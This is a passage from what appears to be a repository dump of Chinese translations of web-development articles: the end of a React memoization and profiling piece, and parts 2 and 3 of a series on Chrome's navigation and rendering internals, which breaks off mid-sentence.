功能高亮过滤器组件](https://cdn-images-1.medium.com/max/2000/1*fJNSgWgEbPRlPNeuzbkY2A.gif)\n\n看起来合情合理，只有我操纵的组件引发了 DOM 操纵。也就是说浏览器没有做不必要的绘制。那我们就要进一步深入来探究原因了。\n\n***\n\n为了把 React 组件重绘的情况看得更真切，我们得用 [React 调试工具](https://github.com/facebook/react-devtools)中一个类似的工具。它叫做 **Highlight Updates**，你可以在 React 调试工具的首选项面板中找到它。激活后，它会高亮显示所有正在渲染的组件。如果渲染时间过长，它还会用特殊颜色标识出来。\n\n![用 Highlight Updates 功能高亮过滤器组件](https://cdn-images-1.medium.com/max/2000/1*xdxAnoef3kv0yqa7yE2v-Q.gif)\n\n> React 调试工具使你能够检查 React 组件层级，以及对应组件的 props 和 state。<br />\n> 它有浏览器插件（支持 [Chrome](https://chrome.google.com/webstore/detail/react-developer-tools/fmkadmapgofadopljbjfkapdkoienihi) 和 [Firefox](https://addons.mozilla.org/firefox/addon/react-devtools/)）和[独立应用](https://github.com/facebook/react-devtools/tree/master/packages/react-devtools)（支持 Safari、IE、和 React Native 等运行环境）两种形式。\n\n***\n\n**这里就清晰地揭示了问题所在：当我在一个过滤器上拖拽，包含直方图的另一个过滤器也被重绘了。** 这就是应该被避免的处理器资源浪费。像直方图这样的笨重组件尤其如此。\n\n现在我们知道了问题所在，但还不知道导致界面响应缓慢的原因。为了找到原因，我们可以使用 Chrome 调试工具的 **Performance** 面板。它可以帮助你查看在浏览器在执行某一特定任务的过程中，每一帧具体做了什么。\n\n**关于 Performance 面板的使用细节，不在本文讨论范围之内。但你可以在[这里](https://developers.google.com/web/tools/chrome-devtools/evaluate-performance/)找到教程。**\n\n***\n\n我使用 **Performance** 面板记录了过滤器组件中的一次变更。放大火焰图后，我有了以下发现：\n\n![Performance 面板中的火焰图 🔥](https://cdn-images-1.medium.com/max/2534/1*hSQUcxdZ-HHh_o8b8-yIhQ.png)\n\n如你所见，这两个火焰图大体相同。第一张图（在 **Timings** 下方）展示了 React 组件的实际的加载和更新。React 调用了[用户时间接口](https://developer.mozilla.org/en-US/docs/Web/API/User_Timing_API)，所以我们能看到这张额外的图。第二张图展示了主线程上执行的所有任务，这张图更为详细。\n\n我更喜欢用第一张图来看哪些组件性能差，用第二张图深入了解具体哪个函数和计算过程耗时更多。\n\n***\n\n第一次看到 **Performance** 面板的默认火焰图，你可能会被吓到。万幸 React 调试工具也有一个相似功能，在 **Profiler** 标签页中，能够根据[用户时间接口](https://developer.mozilla.org/en-US/docs/Web/API/User_Timing_API)生成同样的火焰图。我认为 React 调试工具中的火焰图更易于理解，而且它还有很多趁手的附加功能：\n\n* 你可以根据组件渲染时长将所有组件排序（见下方截图）。\n* 你可以快速浏览不同的渲染记录。\n* 你可以点击某组件查看特定渲染阶段的 **props**。\n\n![按渲染时长排列组件](https://cdn-images-1.medium.com/max/2560/1*DZda1hD432v2ylP_KhNJ2g.png)\n\n***\n\n以上图形揭露了罪魁祸首：`Histogram`。特别是渲染第二个直方图（右侧那个），耗费了很长时间（402.8 毫秒！），即使我根本没有拖拽它。我们破案了！接下来就该修复问题、优化组件性能了。\n\n> 注意：我记录性能时打开了 CPU 节流功能，用 1/4 倍速模拟那些并非使用最新版 Macbook Pro 的用户，以此来突显性能问题。\n\n## 提升组件性能\n\n为防止浪费性渲染的发生，我们可以通过备忘技术优化组件。我们要使用 `React.memo` 来记忆组件，用 React 的备忘 hooks `useMemo` 和 `useCallback` 记忆变量和函数。\n\n### React.memo\n\n从 `16.6.0` 版本起，React 就支持高阶组件 [`React.memo`](https://reactjs.org/docs/react-api.html#reactmemo) 了。它等价于 `React.PureComponent`，但只适用于函数组件。社区正逐步从 class 的组件风格转向带有 hooks 的函数组件风格，而 `React.memo` 正是这种组件。\n\n当你用 `React.memo` 包裹一个函数组件时，它会将传入的 props 进行浅层比较。当比较的 props 不一致时，才会重新渲染组件。你也可以自己写一个比较函数，作为第二个参数传入。但要慎用，以避免意外故障。\n\n我们可以将组件分解为更小的组件，并把每个更小的组件都用 `React.memo` 包裹起来。如此你能保证当 props 更新，仅有组件的一部分重新渲染了。但也不要把所有东西都做备忘，因为比较 **props** 所花时间可能要比渲染组件的时间还要长。\n\n在本文案例中，我用 `React.memo` 包裹了过滤器组件（`RangeSlider`）和 `Histogram` 组件。此外，我把直方图分解为包裹组件和 `HistogramBuckets` 组件两部分，将逻辑部分和展现部分剥离开来。\n\n```javascript\nconst RangeSlider = React.memo(props => {\n   ...\n});\n```\n\n### 备忘 hooks\n\nReact `16.8.0` 版本为我们带来功能强大的 hooks，有了 hooks，我们可以轻松备忘组件中的值和回调函数。在引入 hooks 之前，你当然也可以用一个单独的库实现备忘功能，但自从它成为 React 原生库的一部分，集成和塑造工作流变得更加简单易行。\n\n[`useMemo`](https://reactjs.org/docs/hooks-reference.html#usememo) 会记忆一个值，这样就不用在下一轮渲染中重新计算它了。[`useCallback`](https://reactjs.org/docs/hooks-reference.html#usecallback) 记忆的则是回调函数。你可以给二者传入一个依赖数组，该数组包含了组件作用域的值（比如 props 和 state），这些值将在 hooks 内部被用到。每次渲染时，React 都会比较这些依赖值，一旦它们发生改变，React 就会更新备忘的值或函数。\n\n> 注意：React 为了尽可能快地进行比较，使用了比较算法 [Object.is](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is#Description) 来优化比较的速度。也就是说，如果你把对象或数组的新实例作为 props 传入，比较时该算法会返回 `false`，并重新计算备忘的值。\n\n### 传入备忘的 props\n\n在本例中，未经使用 `React.memo` 的过滤器组件需要优化。这曾是父组件设置 props 的方式：\n\n```javascript\nfunction handleChange(value => {\n  ...\n});\n\n<RangeSlider  \n  value={[minValue, maxValue]}  \n  onChange={handleChange}\n/>\n```\n\n每渲染一次，都要创建 `handleChange` 的一个实例，并传入一个新的数组实例作为 props。这就导致 `RangeSlider` 组件总是更新，尽管有 `React.memo` 包裹，因为 `Object.is()` 比较算法总是返回 `false`。为了精确优化，我得用下列代码重构：\n\n```javascript\nconst handleChange = useCallback((value) => {\n    ...\n}, []);\n\nconst value = useMemo(() => [minValue, maxValue], [minValue, maxValue]);\n\n<RangeSlider  \n  value={value}  \n  onChange={handleChange}\n/>\n```\n\n如果依赖数组为空，那么 `handleChange` 则仅在挂载时更新。无论 `minValue` 或 `maxValue` 何时更改，`value` 总会返回一个新数组。\n\n我对 `Histogram` 组件做了同样的优化，`Histogram` 组件把 props 传到 `HistogramBuckets` 子组件中。\n\n> 小提示：要想快速找出两次渲染中哪些 props 发生了变化，可以用这个精巧的 hooks：[useWhyDidYouUpdate](https://usehooks.com/useWhyDidYouUpdate/)。\n\n## 成果\n\n通过方便快捷的优化，组件的性能得到了显著提升。经过备忘优化后，在相同的操作下，`Histogram` 组件的渲染时间缩短到了 0.5 毫秒。比起原来的 72.7 毫秒加上第二个直方图消耗的 402.8 毫秒，**这可是超过千倍的提速啊！🤩** 最终成果就是，仅用了极小的努力，就获得了更流畅的用户体验。\n\n![备忘优化后的直方图渲染时间](https://cdn-images-1.medium.com/max/5112/1*iGs_fQ2NfXbeLNO0xVQ9GQ.png)\n\n***\n\n## 加入 C°F\n\n另外，如果你被本文惊艳到了，CLEVER°FRANKE 的大门永远为达人敞开哦。来[我们的招聘传送门](http://jobs.cleverfranke.com/)看看，如果感兴趣，欢迎向我们展示你的超能力。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/inside-browser-part2.md",
    "content": "> * 原文地址：[Inside look at modern web browser (part 2)](https://developers.google.com/web/updates/2018/09/inside-browser-part2)\n> * 原文作者：[Mariko Kosaka](https://developers.google.com/web/resources/contributors/kosamari)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/inside-browser-part2.md](https://github.com/xitu/gold-miner/blob/master/TODO1/inside-browser-part2.md)\n> * 译者：[CoolRice](https://github.com/CoolRice)\n> * 校对者：[ThomasWhyne](https://github.com/ThomasWhyne), [tian-li](https://github.com/tian-li)\n\n# 现代浏览器内部揭秘（第二部分）\n\n## 导航时发生了什么\n\n这是关于 Chrome 内部工作的 4 篇博客系列的第 2 篇。在[上一篇文章](https://github.com/xitu/gold-miner/blob/master/TODO1/inside-look-at-modern-web-browser-part1.md)中，我们研究了不同的进程和线程如何处理浏览器的不同部分。在这篇文章中，我们会更深入研究每个进程和线程如何进行通信以展示网站。\n\n让我们看一个网络浏览的简单用例：你在浏览器中键入 URL，然后浏览器从互联网获取数据并显示一个页面。在这篇文章中，我们将重点放在用户请求站点和浏览器准备渲染页面部分 —— 亦即导航。\n\n## 它以浏览器进程开始\n\n![浏览器进程](https://developers.google.com/web/updates/images/inside-browser/part2/browserprocesses.png)\n\n图 1：顶部是浏览器 UI，底部是拥有 UI、网络和存储线程的浏览器进程图\n\n正如我们在[第 1 部分：CPU、GPU、内存和多进程架构](https://developers.google.com/web/updates/2018/09/inside-browser-part1)中所述，tab 外的一切都被浏览器进程处理。浏览器进程有很多线程，例如绘制浏览器按钮和输入栏的 UI 线程、处理网络栈以从因特网获取数据的网络线程、控制文件访问的存储线程等。当你在地址栏中键入 URL 时，你的输入将由浏览器进程的 UI 线程处理。\n\n## 一个简单导航\n\n### 第 1 步：处理输入\n\n当用户开始在地址栏键入时，UI 线程要问的第一件事是 “这是一次搜索查询还是一个 URL 地址？”。在 Chrome 中，地址栏同时也是一个搜索输入栏，所以 UI 线程需要解析和决定把你的请求发送到搜索引擎，或是你要请求的网站。\n\n![处理用户输入](https://developers.google.com/web/updates/images/inside-browser/part2/input.png)\n\n图 1：UI 线程询问输入内容是搜索查询还是 URL 地址\n\n### 第 2 步：开始导航\n\n当用户按下 Enter 键时，UI 线程启用网络调取去获取站点内容。加载动画会显示在标签页的一角，网络线程会通过适当的协议，像 DNS 查找和为请求建立 TLS 连接。\n\n![导航开始](https://developers.google.com/web/updates/images/inside-browser/part2/navstart.png)\n\n图 2：UI 线程告诉网络线程要导航到 mysite.com\n\n在这时，网络线程可能会收到像 HTTP 301 那样的服务器重定向头。这种情况下，网络线程会告诉 UI 线程，服务器正在请求重定向。然后，另一个 URL 请求会被启动。\n\n### 第 3 步：读取响应\n\n![HTTP 响应](https://developers.google.com/web/updates/images/inside-browser/part2/response.png)\n\n图 3：包含 Content-Type 的响应头以及作为实际数据的 payload\n\n一旦开始收到响应主体（payload），网络线程会在必要时查看数据流的前几个字节。响应报文的 Content-Type 字段会声明数据的类型，但是它有可能会丢失或者错误，所以就有了 [MIME 类型嗅探](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types)来解决这个问题。这是[源码](https://cs.chromium.org/chromium/src/net/base/mime_sniffer.cc?sq=package:chromium&dr=CS&l=5)中评论的“棘手的问题”。你可以阅读注释看一下不同浏览器是怎么匹配 content-type 和 payload 的。\n\n如果响应是一个 HTML 文件，那么下一步就会把数据传给渲染进程，但是如果是一个压缩文件或是其他文件，那么意味着它是一个下载请求，因此需要将数据传递给下载管理器。\n\n![MIME 类型嗅探](https://developers.google.com/web/updates/images/inside-browser/part2/sniff.png)\n\n图 4：网络线程询问一个响应数据是否是从安全网站来的 HTML\n\n此时也会进行 [SafeBrowsing](https://safebrowsing.google.com/) 检查。如果域名和响应数据似乎匹配到一个已知的恶意网站，那么网络线程会显示一个警告页面。除此之外，还会发生 [**C**ross **O**rigin **R**ead **B**locking（**CORB**）](https://www.chromium.org/Home/chromium-security/corb-for-developers)检查，以确保敏感的跨域数据不被传给渲染进程。\n\n### 第 4 步：查找渲染进程\n\n一旦所有的检查执行完毕并且网络线程确信浏览器会导航到请求的站点，网络线程会告诉 UI 线程所有的数据准备完毕。UI 线程会寻找渲染进程去开始渲染 web 页面。\n\n![寻找渲染进程](https://developers.google.com/web/updates/images/inside-browser/part2/findrenderer.png)\n\n图 5：网络线程告诉 UI 线程去查找渲染进程\n\n由于网络请求会花费几百毫秒才获取回响应，因此可以应用一个优化措施。当第 2 步 UI 线程正发送一个 URL 请求给网络线程时，它已经知道它们会导航到哪个站点。在网络请求的同时，UI 并行地线程尝试主动寻找或开启一个渲染进程。这样，如果一切按预期进行，渲染进程在网络线程接受到数据时就已经处于待命状态。如果导航跨域重定向，这个待命进程也许不会被用到，这种情况下也许会用到另一个进程。\n\n### 第 5 步：提交导航\n\n现在数据和渲染进程已经就绪，浏览器进程会发送一个 IPC（进程间通信）到渲染进程去提交导航。它也会传递数据流，所以渲染进程可以保持接收 HTML 数据。一旦浏览器进程收到渲染进程已经提交的确认消息，导航完毕并且文档加载解析开始。\n\n这时，地址栏已经更新，安全指示器和站点设置 UI 会反映新页面的站点信息。此标签页的 session 历史记录会被更新，所以前进/后退按钮会走向刚导航过的站点。当你关闭标签页或者窗口，为了优化 tab/session 的还原，session 历史被保存在硬盘上。\n\n![提交导航](https://developers.google.com/web/updates/images/inside-browser/part2/commit.png)\n\n图 6：浏览器和渲染进程间的 IPC，请求渲染页面。\n\n### 额外的步骤：初始加载完毕\n\n一旦导航被提交，渲染进程开始加载资源和渲染页面。我们将在下一篇文章中讲解这个阶段发生什么的细节。一旦渲染进程渲染“完毕”。它会发送一个 IPC 返回给浏览器进程（这会在页面所有的 frame 的 `onload` 事件已经触发和执行完毕后发生）。这时，UI 线程停止标签页上的加载动画。\n\n我之所以说“结束”，是因为客户端 JavaScript 可以在这时之后仍然加载额外的资源并且渲染新视图。\n\n![页面加载结束](https://developers.google.com/web/updates/images/inside-browser/part2/loaded.png)\n\n图 7：渲染进程发送 IPC 到浏览器进程通知页面“已被加载”\n\n## 导航到另一个站点\n\n简单导航已经完毕！但是用户在地址栏输入另一个 URL 会怎样呢？好吧，浏览器进程会执行相同的步骤来导航到一个不同的站点。但是在它做这个之前，它会检查当前已经渲染的站点是否关心 [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/Events/beforeunload) 事件。\n\n`beforeunload` 可以在你试图导航离开或关闭标签页时创建“离开此站点？”警告。包括你的 JavaScript 代码，所有标签页内的东西都是由渲染进程处理，所以当新的导航请求到来时，浏览器进程必须要跟当前的渲染进程核对。\n\n**注意：** 不要添加无条件的 `beforeunload` 处理程序。它会产生更多延迟，因为处理程序需要在导航开始之前执行。应仅在需要时添加此事件处理程序，例如如果需要警告用户他们可能会丢失他们在页面上输入的数据。\n\n![beforeunload 事件处理程序](https://developers.google.com/web/updates/images/inside-browser/part2/beforeunload.png)\n\n图 8：浏览器进程向渲染进程发送 IPC 告诉它将要导航到另一个站点\n\n如果渲染进程已经启动了导航（像用户点击一个链接或者客户端 JavaScript 运行 `window.location = \"https://newsite.com\"`），渲染进程会先检查 `beforeunload` 事件处理程序。然后，它会像浏览器处理启动导航一样执行相同的步骤。唯一不同的是导航请求是由渲染进程发送到浏览器进程的。\n\n当新导航到的站点不同于当前已渲染的站点时，会调用一个独立的渲染进程来处理新导航，同时保持当前的渲染进程来处理类似 `unload` 的事件。有关更多信息，请查看[页面生命周期概览](https://developers.google.com/web/updates/2018/07/page-lifecycle-api#overview_of_page_lifecycle_states_and_events)以及如何使用[页面生命周期 API](https://developers.google.com/web/updates/2018/07/page-lifecycle-api) 挂钩事件。\n\n![新导航与 unload](https://developers.google.com/web/updates/images/inside-browser/part2/unload.png)\n\n图 9：2 个 IPC（从浏览器进程到新渲染进程）告知渲染页面并告知旧渲染进程卸载\n\n## 如果有 Service Worker\n\n最近对导航过程的改变是引入了 [service worker](https://developers.google.com/web/fundamentals/primers/service-workers/)。service worker 是一种在你的应用代码中编写网络代理的方法；允许 Web 开发者更好地控制本地缓存内容以及何时从网络获取新数据。如果将 service worker 设置为从缓存加载页面，则无需从网络请求数据。\n\n要记住的重要部分是 Service Worker 是在渲染进程中运行的 JavaScript 代码。但是当导航请求进入时，浏览器进程如何知道该站点有 service worker？\n\n![service worker 作用域检查](https://developers.google.com/web/updates/images/inside-browser/part2/scope_lookup.png)\n\n图 10：浏览器进程中的网络线程查找 service worker 作用域\n\n当注册一个 service worker 时，保持 service worker 的作用域作为一个引用（你可以在这篇文章 [The Service Worker Lifecycle](https://developers.google.com/web/fundamentals/primers/service-workers/lifecycle) 中阅读更多关于作用域的知识）。当一个导航发生时，网络线程用已注册的 service worker 作用域来检查域名，如果已经为该 URL 注册了一个 service worker，UI 线程会找一个渲染线程来执行 service worker 的代码。service worker 可能从缓存中加载数据，无需从网络请求数据，或者可以从网络请求新资源。\n\n![service worker 导航](https://developers.google.com/web/updates/images/inside-browser/part2/serviceworker.png)\n\n图 11：浏览器中的 UI 线程启动渲染进程来处理 service workers；然后，渲染进程中的工作线程从网络请求数据\n\n## 导航预加载\n\n你可以看到，如果 service worker 最终决定从网络请求数据，则浏览器进程和渲染器进程之间的往返可能会导致延迟。[导航预加载](https://developers.google.com/web/updates/2017/02/navigation-preload)是一种通过与 service worker 启动并行加载资源来加速此过程的机制。它用一个头部来标记这些请求，允许服务器决定为这些请求发送不同的内容；例如，只更新数据而不是完整文档。\n\n![导航预加载](https://developers.google.com/web/updates/images/inside-browser/part2/navpreload.png)\n\n图 12：浏览器进程中的 UI 线程启动渲染进程以在并行启动网络请求的同时处理 service worker\n\n## 总结\n\n在这篇文章中，我们研究了导航过程中发生了什么，以及你的 Web 应用代码（例如响应头和客户端 JavaScript）如何与浏览器交互。了解浏览器通过网络获取数据的步骤，可以更容易地理解为什么开发导航预加载等 API。在下一篇文章中，我们将深入探讨浏览器如何分析 HTML/CSS/JavaScript 以渲染页面。\n\n你喜欢这篇文章吗？如果您对以后的文章有任何问题或建议，欢迎在下面的评论区或在 Twitter [@kosamari](https://twitter.com/kosamari) 上留下您的宝贵意见。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/inside-browser-part3.md",
    "content": "> * 原文地址：[Inside look at modern web browser (part 3)](https://developers.google.com/web/updates/2018/09/inside-browser-part3)\n> * 原文作者：[Mariko Kosaka](https://developers.google.com/web/resources/contributors/kosamari)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/inside-browser-part3.md](https://github.com/xitu/gold-miner/blob/master/TODO1/inside-browser-part3.md)\n> * 译者：[ssshooter](https://github.com/ssshooter)\n> * 校对者：[ThomasWhyne](https://github.com/ThomasWhyne), [CoolRice](https://github.com/CoolRice)\n\n# 现代浏览器内部揭秘（第三部分）\n\n## 渲染进程的内部机制\n\n这是关于浏览器工作原理博客系列四部分中的第三部分。之前，我们介绍了[多进程架构](https://github.com/xitu/gold-miner/blob/master/TODO1/inside-look-at-modern-web-browser-part1.md)和[导航流](https://github.com/xitu/gold-miner/blob/master/TODO1/inside-browser-part2.md)。在这篇文章中，我们将一探渲染进程的内部机制。\n\n渲染进程涉及 Web 性能的许多方面。由于渲染进程的流程太复杂，因此本文只进行概述。如果你想深入了解，可以在 [the Performance section of Web Fundamentals](https://developers.google.com/web/fundamentals/performance/why-performance-matters/) 找到相关资源。\n\n## 渲染进程处理网站内容\n\n渲染进程负责标签页内发生的所有事情。在渲染进程中，主线程处理服务器发送到用户的大部分代码。如果你使用 web worker 或 service worker，部分 JavaScript 将由工作线程处理。合成和光栅线程也在渲染进程内运行，以高效，流畅地呈现页面。\n\n渲染进程的核心工作是将 HTML、CSS 和 JavaScript 转换为用户可以与之交互的网页。\n\n![Renderer process](https://developers.google.com/web/updates/images/inside-browser/part3/renderer.png)\n\n图 1：渲染进程内部包含主线程、工作线程、合成线程和光栅线程\n\n## 解析（Parsing）\n\n### DOM 的构建\n\n当渲染进程收到导航的提交消息并开始接收 HTML 数据时，主线程开始解析文本字符串（HTML）并将其转换为文档对象模型（**DOM**）。\n\nDOM 是一个页面在浏览器内部表现，也是 Web 开发人员可以通过 JavaScript 与之交互的数据结构和 API。\n\n将 HTML 到 DOM 的解析由 [HTML Standard](https://html.spec.whatwg.org/) 规定。你可能已经注意到，将 HTML 提供给浏览器这一过程从不会引发错误。像 `Hi! <b>I'm <i>Chrome</b>!</i>` 这样的错误标记，会被理解为 `Hi! <b>I'm <i>Chrome</i></b><i>!</i>`，这是因为 HTML 规范会优雅地处理这些错误。如果你好奇这是如何做到的，可以阅读 [An introduction to error handling and strange cases in the parser](https://html.spec.whatwg.org/multipage/parsing.html#an-introduction-to-error-handling-and-strange-cases-in-the-parser) 的 HTML 规范部分。\n\n### 子资源加载\n\n网站通常使用图像、CSS 和 JavaScript 等外部资源，这些文件需要从网络或缓存加载。在解析构建 DOM 时，主线程**会**按处理顺序逐个请求它们，但为了加快速度，“预加载扫描器（preload scanner）”会同时运行。如果 HTML 文档中有 `<img>` 或 `<link>` 之类的内容，则预加载扫描器会查看由 HTML 解析器生成的标记，并在浏览器进程中向网络线程发送请求。\n\n![DOM](https://developers.google.com/web/updates/images/inside-browser/part3/dom.png)\n\n图 2：主线程解析 HTML 并构建 DOM 树\n\n### JavaScript 阻塞解析\n\n当 HTML 解析器遇到 `<script>` 标记时，会暂停解析 HTML 文档，开始加载、解析并执行 JavaScript 代码。为什么？因为JavaScript 可以使用诸如 `document.write()` 的方法来改写文档，这会改变整个 DOM 结构（HTML 规范里的 [overview of the parsing model](https://html.spec.whatwg.org/multipage/parsing.html#overview-of-the-parsing-model) 中有一张不错的图片）。这就是 HTML 解析器必须等待 JavaScript 运行后再继续解析 HTML 文档原因。如果你对 JavaScript 执行中发生的事情感到好奇，可以看看 [V8 团队就此发表的演讲和博客文章](https://mathiasbynens.be/notes/shapes-ics)。\n\n## 提示浏览器如何加载资源\n\nWeb 开发者可以通过多种方式向浏览器发送提示，以便很好地加载资源。如果你的 JavaScript 不使用 `document.write()`，你可以在 `<script>` 标签添加 [`async`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#attr-async) 或 [`defer`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#attr-defer) 属性，这样浏览器会异步加载运行 JavaScript 代码，而不阻塞解析。如果合适，你也可以使用 [JavaScript 模块](https://developers.google.com/web/fundamentals/primers/modules)。可以使用 `<link rel=\"preload\">` 告知浏览器当前导航肯定需要该资源，并且你希望尽快下载。有关详细信息请参阅 [Resource Prioritization – Getting the Browser to Help You](https://developers.google.com/web/fundamentals/performance/resource-prioritization)。\n\n## 样式计算\n\n只拥有 DOM 不足以确定页面的外观，因为我们会在 CSS 中设置页面元素的样式。主线程解析 CSS 并确定每个 DOM 节点计算后的样式。这是有关基于 CSS 选择器对每个元素应用何种样式的信息，这可以在 DevTools 的 `computed` 部分中看到。\n\n![computed style](https://developers.google.com/web/updates/images/inside-browser/part3/computedstyle.png)\n\n图 3：主线程解析 CSS 以添加计算后样式\n\n即使你不提供任何 CSS，每个 DOM 节点都具有计算样式。像 `<h1>` 标签看起来比 `<h2>` 标签大，每个元素都有 margin，这是因为浏览器具有默认样式表。如果你想知道更多 Chrome 的默认 CSS，[可以在这里看到源代码](https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/css/html.css)。\n\n## 布局\n\n现在，渲染进程知道每个节点的样式和文档的结构，但这不足以渲染页面。想象一下，你正试图通过手机向朋友描述一幅画：“这里有一个大红圈和一个小蓝方块”，这并不能让你的朋友知道这幅画究竟长什么样。\n\n![game of human fax machine](https://developers.google.com/web/updates/images/inside-browser/part3/tellgame.png)\n\n图 4：一个人站在一幅画前，电话线与另一个人相连\n\n布局是计算元素几何形状的过程。主线程遍历 DOM，计算样式并创建布局树，其中包含 x y 坐标和边界框大小等信息。布局树可能与 DOM 树结构类似，但它仅包含页面上可见内容相关的信息。如果一个元素应用了 `display：none`，那么该元素不是布局树的一部分（但 `visibility：hidden` 的元素在布局树中）。类似地，如果应用了如 `p::before{content:\"Hi!\"}` 的伪类，则即使它不在 DOM 中，也包含于布局树中。\n\n![layout](https://developers.google.com/web/updates/images/inside-browser/part3/layout.png)\n\n图 5：主线程遍历计算样式后的 DOM 树，以此生成布局树\n\n![layout.gif](https://i.loli.net/2018/10/07/5bb97fd790c18.gif)\n\n图 6：由于换行而移动的盒子布局\n\n确定页面布局是一项很有挑战性的任务。即使是从上到下的块流这样最简单的页面布局，也必须考虑字体的大小以及换行位置，这些因素会影响段落的大小和形状，进而影响下一个段落的位置。\n\nCSS 可以使元素浮动到一侧、隐藏溢出的元素、更改书写方向。你可以想象这一阶段的任务之艰巨。Chrome 浏览器有整个工程师团队负责布局。[BlinkOn 会议的一些访谈](https://www.youtube.com/watch?v=Y5Xa4H2wtVA)记录了他们工作的细节，有兴趣可以了解一下，挺有趣的。\n\n## 绘制\n\n![drawing game](https://developers.google.com/web/updates/images/inside-browser/part3/drawgame.png)\n\n图 7：一个人拿着笔站在画布前，思考着她应该先画圆形还是先画方形\n\n拥有 DOM、样式和布局仍然不足以渲染页面。假设你正在尝试重现一幅画。你知道元素的大小、形状和位置，但你仍需要判断绘制它们的顺序。\n\n例如，可以为某些元素设置 `z-index`，此时按 HTML 中编写的元素的顺序绘制会导致错误的渲染。\n\n![z-index fail](https://developers.google.com/web/updates/images/inside-browser/part3/zindex.png)\n\n图 8：因为没有考虑 z-index，页面元素按 HTML 标记的顺序出现，导致错误的渲染图像\n\n在绘制步骤中，主线程遍历布局树创建绘制记录。绘制记录是绘图过程的记录，就像是“背景优先，然后是文本，然后是矩形”。如果你使用过 JavaScript 绘制了 `<canvas>` 元素，那么这个过程对你来说可能很熟悉。\n\n![paint records](https://developers.google.com/web/updates/images/inside-browser/part3/paint.png)\n\n图 9：主线程遍历布局树并生成绘制记录\n\n### 更新渲染管道的成本很高\n\n![trees.gif](https://i.loli.net/2018/10/07/5bb97fa48681e.gif)\n\n图 10：DOM + Style、布局和绘制树的生成顺序\n\n渲染管道中最重要的事情是：每个步骤中，前一个操作的结果用于后一个操作创建新数据。例如，如果布局树中的某些内容发生改变，需要为文档的受影响部分重新生成“绘制”指令。\n\n如果要为元素设置动画，则浏览器必须在每个帧之间运行这些操作。大多数显示器每秒刷新屏幕 60 次（60 fps），当屏幕每帧都在变化，人眼会觉得动画很流畅。但是，如果动画丢失了中间一些帧，页面看起来就会卡顿（janky）。\n\n![jage jank by missing frames](https://developers.google.com/web/updates/images/inside-browser/part3/pagejank1.png)\n\n图 11：时间轴上的动画帧\n\n即使渲染操作能跟上屏幕刷新，这些计算也会在主线程上运行，这意味着当你的应用程序运行 JavaScript 时动画可能会被阻塞。\n\n![jage jank by JavaScript](https://developers.google.com/web/updates/images/inside-browser/part3/pagejank2.png)\n\n图 12：时间轴上的动画帧，但 JavaScript 阻塞了一帧\n\n你可以将 JavaScript 操作划分为小块，并使用 `requestAnimationFrame()` 在每个帧上运行。有关此主题的更多信息，请参阅 [Optimize JavaScript Execution](https://developers.google.com/web/fundamentals/performance/rendering/optimize-javascript-execution)。你也可以[在 Web Worker 中运行 JavaScript](https://www.youtube.com/watch?v=X57mh8tKkgE) 以避免阻塞主线程。\n\n![request animation frame](https://developers.google.com/web/updates/images/inside-browser/part3/raf.png)\n\n图 13：时间轴上较小的 JavaScript 块与动画帧一起运行\n\n## 合成\n\n### 如何绘制一个页面？\n\n![naive_rastering.gif](https://i.loli.net/2018/10/07/5bb9802e63e9d.gif)\n\n图 14：简单光栅处理示意动画\n\n现在浏览器知道文档的结构、每个元素的样式、页面的几何形状和绘制顺序，它是如何绘制页面的？把这些信息转换为屏幕上的像素，我们称为光栅化。\n\n处理这种情况的一种简单的方法是，先在光栅化视窗内的画面，如果用户滚动页面，则移动光栅框，并光栅化填充缺少的部分。这就是 Chrome 首次发布时处理光栅化的方式。但是，现代浏览器会运行一个更复杂的过程，我们称为合成。\n\n### 什么是合成\n\n![composit.gif](https://i.loli.net/2018/10/07/5bb980e92bb7c.gif)\n\n图 